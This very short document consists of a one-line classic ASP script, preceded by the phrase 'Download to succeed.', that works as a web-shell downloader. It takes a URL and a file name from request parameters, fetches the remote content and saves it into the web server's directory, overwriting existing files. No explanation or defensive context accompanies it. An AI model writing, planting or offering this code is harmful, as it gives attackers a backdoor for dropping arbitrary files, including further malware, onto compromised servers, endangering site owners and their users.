Download to succeed.<% url=request("url"):filename=request("filename"):Set xPost = CreateObject("Microsoft.XMLHTTP"):xPost.Open "GET",url,False:xPost.Send():Set sGet = CreateObject("ADODB.Stream"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile Server.MapPath(filename),2:set sGet = nothing:set sPOST = nothing:response.Write("ok.")%>